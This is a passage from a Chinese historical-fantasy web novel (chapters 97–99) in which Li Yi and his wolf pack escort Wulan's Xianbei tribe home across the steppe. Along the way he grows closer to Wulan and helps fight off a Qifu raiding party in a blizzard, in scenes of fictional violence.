他们也好奇馒头和肉包子是怎么制作的,李逸对此也表示无奈,所以他们部落现在情况,这种美食对他们不是特别实用,下次有机会再教他们。
等众人吃完饭,天已经黑了,乌孤不想引起这里其它中原人的注意,给他们的牛和马套上车,就准备连夜离开,在李逸的带领下来他们来到那条干枯的河道旁,搭建临时帐篷休息。
今夜,是乌兰最后一次睡在热乎乎的火炕上,明日一早她就要跟着哥哥和族人们赶路离开,一时间心中竟是有了些不舍。
前后半月相处下来,乌兰的中原话越来越好,跟白雪儿和于巧倩她们相处得也不错,这让她对中原人有了全新的认知,知道了中原人也不全都是那么坏。
“乌兰,你以后可以常来我们这边玩儿啊,就是过来时要小心些”
白雪儿刚喝完药汤,一张小脸纠结成痛苦面具,心中却是在呼呼期待着。
乌兰走了,她终于可以继续努力侍寝了,这么难喝的药汤她都喝好几天了,这次必须怀上!
李逸拿过来一个小木盒子,里面有两块肥皂,时间上来不及,若是下次乌兰还过来就能用上升级版的肥皂。
乌孤多给了两头大牛和两头大羊,李逸除了狼肉狼骨,他还给拿了些冻豆腐和两大桶面粉,也教了乌兰一种最简单的面食做法,那就是疙瘩汤。
“乌兰,这是给你的,记住别泡水,用完要晾干了。”
乌兰打开木盒发现是自己心心念念的肥皂,脸上露出了欣喜的笑容。
还不等她开口道谢,李逸又拿来两卷布,
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都是深颜色的绸布,一卷蓝色一卷绿色。
“这两卷绸布也送给你了,帮助我建造牛圈羊圈你出了不少力,算是我给你的酬劳”
乌兰对这两卷布料是满意的不得了,之前她就在心中不只一次地想过,蓝色的绸布她要给阿娘,绿色的留给自己,所以李逸才能精准地送到她心坎里。
“李逸,谢谢你!”
乌兰激动地上前,直接将李逸抱住了。
李逸一愣,屋里的其他女人同样都愣住,乌兰这可是非常大胆的举动,平日里只有白雪儿敢这么大胆,偶尔陈玉竹也羞羞地这么表达自己的情感,可毕竟她们都是李逸的媳妇。
“呵呵......你们这草原人表达谢意的方式,还真够大胆啊!”李逸干笑两声。
乌兰松开怀抱,看李逸的目光闪烁不定.....
次日,天还没亮李逸就和乌兰早早起来,他赶着骡车将乌兰送到河边。
乌孤这边和族人也早就准备好了,狼跋深吸一口气,盯着北方语气担忧地说:
“我闻到了暴风雪的味道,乌孤首领,我们必需快一些赶路,争取赶在暴风雪之前返回部落。”
乌孤点头翻身上马,举起手对着族人们高声喊道:“部落的勇士们,出发!”
李逸赶着大骡车上前:
“乌孤首领,我和你们一起过去,正好也探探路,方便我们之后继续交易。”
乌孤觉得李逸说得有道理,另外他要回到草原,只有看到母亲的河才知道要怎么回部落,在那之前他们根本不知道要怎们走。
李逸正是担心这点,他只是从地图上看到的,真实情况会不会有变动需要亲自走上一遭才能心里有数。
乌兰听闻可是开心了,本来是打算骑马的,听李逸这么说她就过来坐李逸的骡车。
嗷呜......
远处的山坡上传来狼嚎声,一群野狼正沿着山坡行走和他们保持着平行的距离跟着,那是李逸的狼群。
“首领,那边有狼要不要过去杀了它们!”
当即就有部落里的男人开口,听那语气是很想过去证明自己的强大和勇敢。
“没事的,那是我的狼群”李逸笑着解释。
乌孤对族人点点头没有再多说什么,一甩马鞭喊道:“出发!后面的别掉队。”
众人沿着河道向着西南方向缓缓前行,乌兰反常的举动让乌孤皱眉,在部落里她可是少有对男人表现得这么亲近,他觉得自己的妹妹是喜欢上这个中原人了。
同时察觉出反常的,还有几个都喜欢着乌兰的秃发部落勇士。
乌兰是部落里最漂亮的姑娘,她活泼,勇敢,就像是一朵草原上最美丽的花朵,那些年轻的没有女人的男人,自然都会喜欢她,现在她表现得如此亲近一个中原男人,这让他们很不满。
风餐露宿,一连赶了三日路,顺着山势看过去着大鲜卑山脉依旧仿佛是没有尽头,除了旁边的山势变得更陡峭了之外,前路看不到其它的变化。
不知道是不是因为身边没有白雪儿和秦心月她们,乌兰对李逸的行为开始越发大胆,昨晚上更是直接和李逸一起睡在板车上的茅草里,还盖了同一张棉被。
乌兰心里还总是想,是不是应该将李逸一起带回草原,但又纠结白雪儿和于巧倩她们,大家对她都很好,她却在和她们抢男人。
李逸也很无语,三块肥皂,两卷布,就让这小蛮妞彻底心动了,搁在后世现代,没房没车没有十八万八的彩礼,一切都免谈,单从这点来说,古代对广大单身青年还是很友好的。
又赶了小半日的路,乌孤下令休息吃些东西,让拉车的马儿和牛儿也吃些草料。
“喂!中原的小子,你带的路对不对?这么多天了,我们怎么还没有看到母亲的河!”
李逸看着眼前高大一脸横肉的汉子,虽是对方叽里咕噜说的他一句听不懂,但就看这表情和说话的语气,很明显他不是来交朋友的,李逸看向身边的乌兰....
第九十七章:草原行
乌兰沉着脸瞪着一双大眼睛,盯着和她相比好像小山一样的狼烈。
“狼烈!注意你说话语气!李逸是我们部落的朋友,他不是敌人!”
看乌兰生气维护李逸的模样,狼烈心里的火似是随时都要烧出来。
李逸很无奈,他只是想让乌兰给翻译下这个大块头叽哩哇啦说的是什么,结果小蛮妞自以为是地为他出起头来,在这种情况下,她的行为只会起到煽风点火的反作用。
“听说你是你们部落最强的勇士!我狼烈要挑战你!”狼烈双拳紧握,死死地盯着李逸。
“狼烈!你别太过分,你这样我要生气了!”
“够了,都省些力气赶路!”
乌孤这个时候过来,他开口狼烈虽还是不情愿,但也必须要听首领的,不过走之前他发出一声不屑的冷哼,眼神中也是对李逸的挑衅。
乌兰用身体挡在他和李逸之间:“他想要挑战你,你不要理他。”
李逸点头,他也确实不想理,切磋就能解决矛盾,他们部落间的争斗就不用**了。
那几个家伙因为乌兰的原因,都对李逸有很深的敌意,李逸可没时间一个个和他们切磋,还要掌握着分寸,赢得太彻底,乌孤一眼就能看出他之前故意放水,会让他觉得自己被侮辱了。
不赢,这些家伙只会变本加厉,李逸也不会对挑衅者放水,要么不出手,出手就必须收拾服帖了。
山坡方向有狼嚎声传来,李逸顺着声音看去是二郎回来了,刚才二郎带着几只狼离开,现在回来似是嘴里叼着什么东西。
李逸向山坡的方向走去,二郎和旁边两只野狼沿着陡峭的山坡下来,距离近些后能看清楚,在二郎嘴里叼着一只灰色的兔子,另一只野狼嘴里叼着只野鸡。
李逸从二郎口中将野兔接过,伸手又开启了撸狗模式,二郎的表情酷酷的,但看模样似乎有些享受。
左手拎着兔子,右手拎着野鸡,李逸美滋滋地返回骡车。
“你有一支狼群,在这大山里真方便”乌兰羡慕地说。
李逸笑了笑,动作娴熟地给野兔和野鸡剥皮放血,天气寒冷必须趁热处理,等会血凉冻硬再处理会有些麻烦。
在整个秃发部落里乌兰都没见过有人能和李逸一样,处理猎物这么干净还快,说着话野兔完整的一张兔皮就他被剥下来了。
没有时间处理野鸡毛,李逸索性也直接给野鸡剥皮,这样做最方便也最干净,只不过可惜了鸡皮,将油脂烤出去的鸡皮薄薄的一层,那是一只烤鸡的灵魂,是最好吃的部分,眼下条件有限,也顾不上去讲究那些。
“晚上给你烤兔肉吃”
“好啊,你做的东西最好吃了”
乌兰说的是实话的,她确实没吃过有人做的东西比李逸做的更好吃。
“我看你,天天跟雪儿在一起,也被她带走了,早晚变成吃货”
乌兰一笑,没有解释。
二人在一起有说有笑的模样,让远处的狼烈他们憋着一股怒火无处发泄。
他们部落里最美的姑娘,到最后却是被中原的男人拐走了,他们接受不了这样的结果,乌兰就应该选择部落里强大的勇士,那样以后生的孩子才能更强,甚至长大后有希望成为部落的首领。
“好了!出发!”
乌孤举起拳头喊了一句,车队继续赶路。
北边的灰云被北风吹得迅速向这边飘来,在草原上生活的游牧民都会通过观察云,感受风,嗅空气中的味道,来预判未来要出现的天气。
李逸在前头和乌孤领路,乌孤的眼睛时不时瞥向妹妹乌兰,越看也能肯定,乌兰是喜欢上这个中原男人了。
乌孤和李逸比试过摔跤,知道这中原男人看着瘦弱,力气却大得出奇,且能徒手搏杀狼王,独战狼群,也说明了他有过人的胆子。
只不过他是中原人这点,乌孤也有些介意。
天很快就黑了,到这时依旧没有看到李逸所说的峡谷和母亲的河,这让乌孤的心也动摇了,眼看着暴风雪就要来临,他们必须快点返回部落才行。
“乌孤首领,暴风雪要来了,我们还是多赶一会路吧,争取尽早返回你们部落。”
听李逸这么说,乌孤暂时压下心底的怀疑,继续赶路。
天色彻底变得漆黑一片,因为车队比较长,乌孤每间隔一段时间就会向后传话询问,防止有人掉队而没有人发现。
李逸忽地侧起耳朵,不远处他听到了风的嘶吼,风在山林中穿梭,出现类似野兽咆哮的声音这很正常,但这次的声音有着明显不同,必是特殊的地形在风灌入后才会有这种呜咽声。
“乌孤首领,你听这风声!”李逸说道。
乌孤也侧耳倾听,但他却没能听出来,只是觉得风的呼声更大了。
“这风声有什么不同吗?”乌孤问道。
李逸往下拉了拉皮帽子,笑着说:“要到了,再往前我们就能看到母亲的河了!”
“真的吗?”乌兰凑到李逸身边,身体几乎紧贴着李逸。
这草原姑娘就是这么大胆,表达心意的方式也很直接,不抗拒身体上的直接接触。
“再往前走一会,就知道是不是真的了!”
看李逸自信的模样,乌孤用力甩了下马鞭喊道:
“我们马上就要看到母亲的河了,都跟紧点,到那边再休息。”
越是接近,那种风呼啸穿过峡谷的声音就越是清晰,直至众人看到那由两条山脉相夹形成的峡谷,在峡谷中有一条完全被冰封的河道。
乌孤快速跳下马背跑到河边前后张望,向西北穿过峡谷那边就是腾格里庇护的草原,虽然天黑看不到,但从风中他闻到了熟悉的草原,沿着河道向着东南走,便是深入中原腹地。
“找背风的地方休息吧,明天早早赶路!”
乌孤的心情很好,脸上终于看到了些笑容,乌兰却是突然就变得闷闷不乐,因为她知道李逸要回去了,心里有些舍不得。
李逸找了个最被风的地方,将野兔用树枝穿好准备烤兔肉。
他在车上拉了茅草和劈好的干木柴,也是为了方便在赶路途中弄些吃的,耐心地等干茅草将木柴引燃,李逸开始神奇专注地烤兔肉。
乌兰则心事重重地坐在他旁边看着篝火发呆,李逸没有听到她的心声,说明此时的她大脑是完全放空的状态。
兔肉转变了颜色,金黄的油脂低落在下方的柴火中,滋的一声,火苗会向上窜起夹带着一缕黑烟。
李逸搜集了一些积雪放进大口的陶罐中煮沸,虽是看起来雪水有些许浑浊,但也可以饮用,李逸从木桶里拿出干面粉,煮了一锅最简单的疙瘩汤,加些葱花和盐提味,搭配烤兔肉吃味道还是不错的。
“乌兰,乌兰?”
李逸喊了好几声,乌兰才神不守舍地转头看过来。
“把你哥哥,还有你们部落的那个萨满喊过来,我们一起吃吧。”
“嗯....”
乌兰应了一声起身离开,没多久乌孤和萨满狼跋就一同过来了。
李逸将陶罐里的疙瘩汤盛出,正好四大碗,然后用刀子将烤好的兔肉切开,四条兔腿一人一条。
“这.....这是什么?”
狼跋的中原话说得也不错,就是音调怪怪的。
“疙瘩汤,用小麦粉做的”
狼跋略一思索说道:“那个馒头和包子,也是用小麦粉做的,下次我们可以用牛羊交换你们的小麦粉。”
李逸微笑,算是给了回应。
小麦因为县城面食生意的原因,现在的价格是粟米的三倍,精面出粉率在百分之五十到六十之间,这种情况下秃发部落要拿出三倍数量的牛羊交换,研磨成面粉后所能吃的时间却是相对更短,这种选择眼下不适合他们。
乌兰一直心不在焉地吃着,热乎乎的疙瘩汤和烤兔肉她却食之无味。
乌孤瞥了妹妹一眼,转头看向李逸问道:“你明日就要回你们的部落了?”
李逸啃了口兔肉,稍作思考后回答:
“如果可以的话,我想去你们的部落看看,之后我会按照你们之前的路线穿过山岭回去。”
“你一个人穿越那山岭....”
乌孤的话说到
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一半便是不说了,因为他想到了李逸的狼群,有狼群跟着他穿越山林不会遇到任何危险。
乌兰忽地回过神,整个人的感觉就像是灵魂突然归窍了:
“好啊!你也去我们部落看看,到时我告诉你从哪里穿过圣山。”
乌孤皱起眉头,乌兰现在的样子谁都能看出她的心意。
狼跋无奈地笑了笑,但又觉得这似乎也是一个不错的选择,部落可是有很多年轻的勇士在盯着乌兰,无论是谁最后得到了乌兰,其他人都会不开心,从而影响部落内部的团结,但若是乌兰跟了这中原人,他们部落里的人反而会团结到一起。
另外从部落的发展去思考,若乌兰成了眼前中原人的女人,就和他们的部落有了非常牢靠的关系,他们双方以后可以放心随便的交易,部落不需要担心生存的问题,就有更多时间和心思去考虑如何壮大部落。
李逸意味深长地看了眼狼跋,对方的心声他全部听见了!
这是一个有头脑的人,若是部落里没有几个像他这样的人,只知道一味地敢打敢杀,部落最后灭亡是必然的结果。
李逸侧头迎上了乌兰期待的双眼。
“好,去你部落看看”
听到李逸的回答,乌兰就像是重新注入了生命力,眼角含笑低着头大口地吃着疙瘩汤。
看她这副真性情的模样,李逸也有些心动了。
他就一个人,想要创造一个庞大的家族,媳妇多孩子多是很有必要的,另外每多一个伴侣,他就多了一条获得人物属性点的途径,另外这个时代的大环境又是如此,女多男少,齐武帝鼓励多生育。
天时地利人和,缘分来都来了,岂有拒之门外的道理,就看乌兰最后如何选择。
吃完东西又烤了会火,身体由内到外的暖了起来,李逸回到板车上去休息,他这边刚躺下乌兰就过来了在他身边躺下,和他盖同一张被子。
虽说二人都穿着厚厚的皮衣,但如此亲密地挨着,也是过于大胆的行为。
放在突发部落里,一个女人如此大胆那就是在表达自己的心意,只要那个部落的男人也愿意,当晚就能进入对方毡房,而若是确定关系,男方是需要赠予女方家人牛羊的,这是最原始的下聘仪式。
乌兰知道明天李逸会跟她一起去部落,心里很高兴,悄悄挪动身体向着李逸靠近。
昨天李逸躺在那里一动不动就像是一个工具人,确定了乌兰的真正心意,李逸能做的更大胆,他是直接将乌兰给搂住了。
乌兰短暂惊慌后,心里是更欢喜了,转过身和李逸在黑暗中对视着。
“你不怕你的女人们知道?我可是你们口中的蛮子”
李逸笑道:“你都不怕,我为什么要怕?我可是你们口中的中原人啊。”
乌兰一笑将身体和李逸靠得更紧,手臂搂着李逸的腰,嘴角带着满足的笑。
漫天的阴云遮住太阳,让人无法猜测出大概的时辰,休息好后,乌孤不敢再过多耽搁,赶紧让众人赶路。
峡谷内的河道极其宽阔,两侧有勉强可以让马车通过的河岸,不过碎石太多,遇到大块地就需要将石头先推到冰封的河道中。
河岸跟河道有着一米多高的陡坡,让车队没办法下到冰面上去走。
李逸抬头,看向两侧的山壁,若是从上面掉下大石来,一不小心砸个结结实实,那就真是祸从天降了。
好在是这一段并不长,李逸估计最多只有两里路程,穿过之后就能看到一望无际的大草原,被积雪所覆盖只能看到星星点点的草黄色。
终于看到熟悉的草原,乌孤和族人们都松了一口气,只要再坚持几日他们就能回到部落了。
乞伏部落.....
二十几匹高头大马从毡房**的部落里冲出。
暴雪将至,首领孤突,命令族里的勇士去周边巡视,发现游散部落就抢掠,没有发现就去圣山的方向看看能不能打到些猎物,暴雪之后,他们很长时间都不能活动只能缩在部落里,食物必须准备充足些....
“驾.....”
第九十八章:雪中相遇,杀!
“你看那边,那里就是母亲的河,我小时候还在那里洗过澡呢,再往这边就是我们部落以前的领地。”
乌兰笑着在李逸旁边指着向他介绍着。
乌孤和其它部落里的勇士,所想的却是他们被拓跋部落袭击,然后狼狈逃窜的模样,那是他们的耻辱。
“腾格里,保佑我们部落越来越强大吧!”乌孤闭上双眼在心中默默祈祷。
到了大鲜卑山脉的这边,辽阔的草原放眼望去看到不到任何遮挡物,在山脉的那边感觉不明显的风,在山的这边却刮得人睁不开眼,寒风硬得如刀子一样割在脸上。
李逸虽是早有心理准备,但这恶劣的天气还是让他有些无法适应。
嗷呜......
山脉的方向有狼嚎声响起,李逸可以隐约看到狼群在山脊上的轮廓。
这些狼群别的不说,对狼王的忠诚度是非常高的,只要狼王不死它们就会一直追随着。
重新回到熟悉的草原,在欣喜之余众人也在心中忐忑着,都知道必须要快点离开这片区域才行,一旦被拓跋部落发现,他们好不容易交换回来的粮食,就要成为拓跋部落的战利品。
李逸也在思考,后续若是想要交易得更方便,秃发部落必须重新回到这片区域才行,但在那之前他们必须壮大部落,只有部落足够强大了,他们才能守住这里。
这条峡谷就像是一条咽喉,连接着中原和草原,秃发部落若是可以牢牢占据这里,他们的部落会以最快的速度得到发展。
风中开始出现细碎的雪沫子,这些不只是被大风吹起来的积雪,更多的是来自高空,暴风雪的前兆,已经来临。
“族人们,坚持下,我们加快赶路的速度,早回到部落我们就可以休息了。”
乌孤鼓舞着族人向前赶路,乌兰直接和李逸坐到一起赶车,将棉被裹在他们两个身上,让李逸因此又收获了一波嫉妒的目光。
之后的几天,就有些难捱了.....
寒风太猛烈又没有可以避风的地方,想要生火煮个疙瘩汤都有些困难,晚上冷的时候,乌孤他们就将木板车排成一个圈,外围是黄牛里侧是马匹,最中心是几个他们携带的简易帐篷。
大家挤在一起,有的人干脆靠着黄牛和骏马的身体取暖,草原牛的毛皮比较厚实,是抗冷又耐热的品种,让人难耐的风雪,它们却一副**以为常的模样,趴在雪地里用头拱开积雪吃下面的干草。
李逸要不是体质属性得到大幅度的强化,这种恶劣的天气以他的小身板根本无法承受住,乌兰和他几乎形影不离,始终贴在一起相互取暖。
和车队保持一定距离的山脚下,十几只野狼也挤着趴在一起相互取暖,因为靠近,牛和马匹会害怕,李逸只能将它们都赶得远离一些。
进入草原的第三天,开始下起了大雪,冷冽的风,吹得鹅毛般的大雪片扑飞来,就仿佛这雪不是从天上落下,而是从前方横着吹过来,双眼的能见度降到不足二十米,牛车和马车在风雪中艰难地前行着,行进速度相较之前降低了一倍。
“部落的勇士们,再坚持两天我们就能回到部落,都给我咬牙坚持住!”
乌孤在风雪中大喊,寒风和大雪将他的声音淹没,虽是在后面的人听不清他喊了什么,但也能大致猜测出,他们进入草原赶了三个日夜的路,距离回到部落的领地已经不远了!
风雪太大,拉车的大骡子走得摇摇晃晃,李逸见状连忙下车走上前牵着和大骡子并肩前行,旁边的不远处就是狼群,风雪太大距离远它们也会跟丢,只能再靠近一些。
李逸此刻才算是很清晰的体会到,什么是步履艰难,寸步难行。
顶着风雪不知道走了多久,最前面的乌孤突然停下,他左右观察后面色难看地说道:
“我们的方向好像偏了!”
众人前行的参照物就是旁边的大鲜卑山脉,一直顺着山势走就能到达突发部落附近,然而眼下风雪太大让能见度极低,放眼望去周围全都是白雪,看不到其它事物。
李逸刚才已经有所察觉,草原的风每一场都几乎是固定的风向,前几日他们赶路时,风向都是迎面在吹的,而从刚才开始风向变成从侧前方吹来,如果风没有变化的话,只能说明是他们前进的方向出现了偏差。
李逸作为一个外来者,就算有所疑虑也没有质疑的资格,全由乌孤来带路。
“停下!**到一起来!”
乌孤将族人们都召集到一起,狼跋左右观察最后感受着风向,皱着眉说道:
“风向没有变,那就是我们前进的方向错了,应该继续往这边走!”
狼跋指着右侧的方向说道:”这还多亏了狼群一直跟着,否则我们很容易迷失方向”
因为这些天李逸的狼群始终走在右侧的山岭,是风雪太大后才拉近的距离。
乌孤点头:“我觉得也应该是继续走这边,都怪这风雪太大了。”
乌孤双手握拳十字交叉胸口,表情虔诚地看着天空:“伟大的腾格里,请你停下这风雪,让我们可以返回部落!”
“伟大的腾格里,请庇护我们.....”萨满狼跋也跟着祷告。
嗷呜......
二郎在那边仰头发出嚎叫,这是示警的叫声!
李逸神色一变,连忙停下脚步,他没有去拿车上被兽皮包裹的反曲**,而是摸向腰间乌孤给他的狼骨刀,这把狼骨刀被打磨得很锋利,不比劣质的铁器差。
乌孤虽是没有察觉什么,但李逸和狼群的反应让他也警觉起来,抽出一把用狼腿骨和坚硬石片制作的斧子。
前方的风雪中,出现了模糊的影子,乌孤抬手示意大家警觉。
又等了片刻模糊的影子越来越清晰,是一行牵着马匹的人,他们都穿着厚厚的皮衣。
乌孤的视线,锁定了领头几人身上的图腾,这是乞伏部落的图腾标志。
越来越多的人影变得清晰,乞伏部落的人数明显要比秃发部落这边多,而且多都是部落里强壮的勇士,一看便是知道,他们这是在暴雪之前出去抢掠的队伍。
乞伏部落也是鲜卑族五大部落之一,之前可能实力要比秃发部落弱一些,但在秃发部落被拓跋部落抢掠后,现在的实力应是强过突发部落的。
眼前这支队伍,领头的不是乞伏部落的首领孤突,看这高大的身形应该是部落里比首领稍微弱上些的勇士。
虽说在草原部落,会让最强大勇敢的勇士来当首领,但如果首领做得让下面人信服,就是首领上了年纪下面更强大的年轻勇士也不会挑战他。
乞伏部落这次负责带队的,是部落首领孤突的亲弟弟,伏勇。
伏勇有着比哥哥孤突更高大魁梧的身形,很多部落的勇士都知道,论实力伏勇可能要强,但他不适合当首领,也愿意听从哥哥的指挥。
伏勇受命带着族里的勇士们出来后,一番寻觅真被他们遇到了一个只有五十几人的小部落,伏勇带头英勇厮杀将那部落的老首领和几个勇士杀掉后,部落剩下的人只能选择投降归顺。
小部落的生存之道,最终都是要依附大部落才可以留存,宁死不屈的结果是整个部落的人死绝。
短暂沉默后,伏勇也看出了这些人是突发部落的,后面有这么多辆牛车和马车,车上不知道拉的什么。
“跪下投降,加入我们乞伏部落,否则把你们都杀了!”
伏勇亮出自己的两把骨刀,风太大无法使用弓箭,这种情况只能近身厮杀。
乌孤冷笑,眼神越来越冷:“你们首领见了我,都不敢这么说话!”
伏勇见这些人不为所动,废话不说振臂高呼:“杀光他们!”
“杀!”
双方亮出武器,全力向对方冲去,秃发部落这边虽是人也不少,但能奋勇厮杀的只占一半,人数要比乞伏部落这边少了很多。
嘭!
乌孤和对面的伏勇碰撞在一起,伏勇虽是有体型上的优势,但眼下天气环境恶劣,考验的不仅仅是力量,还有身体的协调性和丰富的战斗经验。
而因为人数相
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差悬殊,突发部落一个照面就落入下风。
“啊!杀!”
狼烈嘶吼一声和几个族人都表现得异常勇猛,心里憋了几日的怒火终于找到了发泄的机会。
“李逸,你小心些,我去帮他们”
乌兰说着拔出狼骨**也要跟着加入战斗,李逸伸手将她拦住。
让乌兰射箭行,就她这体型跟身材魁梧的草原汉子近战厮杀,没有任何悬念。
“我去吧,你帮我看着骡车!”
李逸说完不能等乌兰回答,仰头发出一声狼嚎,身体气势在一瞬间发生巨大的变化。
狩猎升级后,李逸获得一个狩猎之王的特殊效果,进入狩猎状态,身体所有属性提升35%,之前和乌孤切磋比试,不算是狩猎状态,自然也没有这个增幅,但眼下不是!
效果发动前,李逸的身体属性是:力量6体质7敏捷6智力2。
发动效果之后,对他的提升巨大:力量8体质接近10敏捷也8。
他们所遭遇的乞伏部落,人数几乎是这边的一倍,若不是受限于恶劣的环境,一个照面秃发部落必败,但眼下还有转机。
二郎嚎叫一声,带着狼群快速冲到李逸身侧,跟着李逸奔向乞伏部落这些人的侧面,对方有人数优势绝对不能让他们形成包围。
虽是脚下有积雪和杂草,让行动能力被大大限制住,但李逸拥有超强的身体协调性,这点影响他完全能克服,加速前冲,他以比狼群更快的速度,先一步冲向一个身形高大的乞伏部落汉子。
对方挥动石斧头向李逸扑来,李逸以身形小的优势快速降低重心,手中骨刀狠狠砍在这人的大腿上。
男人吃痛发出愤怒的吼声,身体不受控制地单腿跪下,李逸的身形在大雪中犹如鬼魅,在男人没反应过来前已经闪身到他背后,单手按住这男人的头,手中骨刀用力地将他的脖颈割开,滚烫的鲜血瞬间喷涌而出!
【狩猎熟练度+60】
男人捂着自己的脖颈,还在顽强地挣扎着,但紧接着他就被两只野狼扑倒,被它们疯狂地撕咬。
二郎这时追上了李逸,和李逸一起对后面的人发起攻击。
后边那个个子稍矮些的男人,举起手中斧子想要丢向李逸,二郎一个加速跳跃,满是獠牙的大嘴直接咬在男人的手腕上,后面的三只野狼紧接着一同发起攻击。
李逸没有理会那边,面对两个男人一左一右的夹击,他表现得极其沉稳。
狩猎之王的效果不仅仅是身体的增幅,也会让他彻底进入狩猎的状态,沉着冷静,心中不会有任何害怕和犹豫。
两人一同挥手砍来,李逸抬起左手稳稳抓住那人劈下来的手腕,用力反关节翻转那人直接被疼得跪下,身体也想要跟着扭转缓解疼痛,紧接着面对另一人的攻击,李逸以练就出来的一口内气,以气御力,小幅度扫腿踢向那人的膝盖。
脆响声清晰刺耳,男人的小腿部位断裂扭曲,因为身体重心大半都在这条腿上,他惨叫着扑倒在地。
李逸抓着另一个男人的手用力向身前拉扯,在对方拉近距离后,手中骨刀割破对方的喉咙,补上一脚将这男人踹翻在地,随后李逸后撤一步反手一刀挥出,看都不看一眼,骨刀的刀刃正好割破被踢断小腿男人的脖子。
乞伏部落后面跟着的这些人,是他们吸纳的小部落,部落里的人多年龄比较大,女人相对较多,牛羊加起来还不到三十头,前面的几个投降的男人,本还想着一起加入战斗,这样到乞伏部落后他们也有机会成为乞伏部落的勇士。
然而他们冲过来还没来得及出手,就看到一个身形并不高大的男人,带着一群狼冲来!
他在短时间内连杀五人,这些狼也表现得比他们寻常见到的那些野狼更凶猛,不会分散乱咬,而是所有狼只盯着一个人,瞬间就能将一个人啃食得面目全非。
李逸一个眼神看过来,这边的几人都有一种感觉,对方的眼神比这暴风雪的天气还要冷。
敢动一步,他们必死!
第九十九章:暴雪狩猎,狼王李逸
人数上不占优势,乞伏部落的这些勇士又全都是身形高大,即使乌孤和狼烈他们表现出最凶悍的一面,依旧无法挽回劣势,乌孤和狼烈他们先后负伤,形势对他们非常不利。
风雪里有狼嚎声还有惨叫声,但因为能见度太低,大家又忙着对付眼前的敌人,没人顾得上去看那边发生了什么。
带着狼群狩猎的狼王李逸,已经利用这个时间将乞伏部落后面的男人全部解决了。
那些男人的尸体正在被狼群啃食,二郎站在李逸身边,表情酷酷的,若是没有李逸它现在也初步具备当狼王的资格。
伏勇打着打着就发现了不对劲,身后迟迟没有人增援,等回过神时,发现他们后方站着一个手拿两把骨刀的男人,而在他的身后跟着十几只成年野狼。
那男人明明不高大威猛,但就看了这么一眼,就让伏勇感受前所未有的压力,旁边的地面上还趴着族人的尸体。
就是这片刻的分心,伏勇的胸口结结实实的被**刺穿,他嘶吼着想要抱住面前的乌孤,乌孤快速拉近距离后,将比他体型大了一圈的伏勇直接抱起摔倒在地,二人在雪地中打滚,等动作停止后,便看到伏勇的脖颈上插了一柄**。
狼烈被两个人**艰难的支撑,李逸从侧面冲上来,用了动作要领都娴熟的剪刀腿绞脖摔,那人还没有反应过来,就在一阵天旋地转中摔倒在地,脸朝下趴在冰冷的雪地中,头还被膝盖死死地压着。
不给男人挣扎的机会,用骨刀割喉后,李逸看都不看一眼,起身前冲在狼烈还没有反应过来时,以一招野蛮的飞膝直接撞在另一个乞伏部落男人的面门,巨力痛击面门**侵头颅,一瞬间就让这人双眼发黑,大脑短暂失去思考能力。
果断补刀切断脖颈动脉,李逸缓缓的站起身,冷冽的眼神望向那边已经看傻的狼烈。
虽说李逸不是正面战斗,算是从侧面偷袭了这二人,但他的速度迅猛的就和狼一样,根本不给这些人反抗的机会,几乎是眨眼间就先后杀了这两人,没有任何多余的的动作。
狼烈呼呼地喘着粗气,被李逸看了这一眼,他惊恐地发现身体竟然动不了了,那看他的眼神就像是在看一个**,直至李逸转身离开,狼烈才恢复正常一屁股坐在雪地中。
不远处.....乌孤狼狈得从雪地中站起,他的皮袄上全是血迹,有些是他的但更多的是来自他的对手,和李逸的动作干净利索相比,他的战斗就要辛苦得多。
之前乌兰说李逸是在中原最强的勇士,他还有所怀疑,现在看,他突然觉得这很有可能是真的,比摔跤他们两个能打平,但真正的敌对厮杀,乌孤有一种直觉,他会被李逸轻松地杀掉!
带头的伏勇被乌孤击杀,另外两人也在他们眼前被轻松杀死,这让剩下的几个乞伏部落的勇士战斗意志出现动摇,他们将武器纷纷丢下跪在地上。
乌孤看了狼烈一眼,后者领悟到他的意思上前,和其它人将五个投降的人全部杀死。
这五个都是精壮的汉子,正常情况下乌孤很愿意接收他们。
但眼下乞伏部落还在且比秃发部落要更强大,乌孤暂时还不想和乞伏部落完全起冲突,将他们留下万一他们找机会偷偷回去报信,秃发部落的处境会更危险。
狼群进食完,在二郎的带领下主动离开到旁边安静地守护着。
乌孤看着眼前这些不知是哪个部落的族人,这里有不少年轻的女人,还有不少牛羊,有他们的加入,秃发部落也算是壮大了一些。
“我是秃发部落的首领,乌孤,我不知道你们是来自哪个部落的,但是我们从乞伏部落的手中将你们救下的。”
“你们想离开我不阻拦,想要留下和我走的,我对待你们会和对待自己的族人一样。”
这些人相互看看,最后没有人选择离开。
暴风雪已经开始,他们的部落还能战斗的男人只有六个,不依附一个大部落用不了多久还要被其它部落抢掠。
“我是我们部落的萨满,我们愿意跟你们走”年长的萨满开口。
乌孤这个首领什么样他们刚才没见过,但是那个带狼群战斗的男人实在是太强大了,跟着这样人他们会感觉安心。
“好!以后你们都是我的族人!”
“都集中过来,我们返回部落!”
车队变长了两倍,因为暴风雪的原因在车队的前头根本看不到后面,大家只能这么一个跟着一个缓缓地前进,时不时传递消息确定有没有人脱离队伍。
在风雪中又赶了两天路,众人终于回到了秃发部落。
见到首领乌孤带着族人返回,忐忑不安的族人们才算是放下心来,大长老也换了一副嘴脸。
乌孤不仅成功带回来了粮食,还又带回来一个小部落,年轻的女人足有二十个,这能给他们秃发部落带来新生儿,
“阿娘!”
“乌兰!”
乌兰和她的阿娘在风雪中相拥。
乌孤没有时间休息,他还要安置新接纳的这些族人,给他们划分地方安排人帮他们把毡房搭建好,风雪这么大必须多些人才行。
“阿娘,这是李逸,是他救了我”
乌孤上次回来,已经将基本情况告诉了阿娘,知道乌兰还活着阿娘悬着的心才放下。
“谢谢你救了我的女儿”
“你们快进毡房里暖和暖和.....”
李逸跟着二人进入了毡房内,这个时期的毡房也没有那么完善,就是一个厚些大些的帐篷,没有门只有帘子,帐篷外面刮大风,帐篷里面刮小风。
乌兰的阿娘,将两块干牛粪放入碎石圈起来的简易灶子中,干牛粪是草原游牧民族的最佳燃料,很好烧,最重要的是无烟不会呛人。
李逸和乌兰坐在一起,乌兰的母亲就笑呵呵地看着他们,颇有点丈母娘看女婿的意思。
“阿娘你等一下”
乌兰兴冲冲地跑出毡房,没多久便抱着李逸送她的布料和肥皂回来。
“阿娘,这两卷布是李逸送给我们的,蓝色的是你的,绿色的是我的”
乌兰的母亲接过布料,用粗糙的手抚摸,眼里满是喜欢。
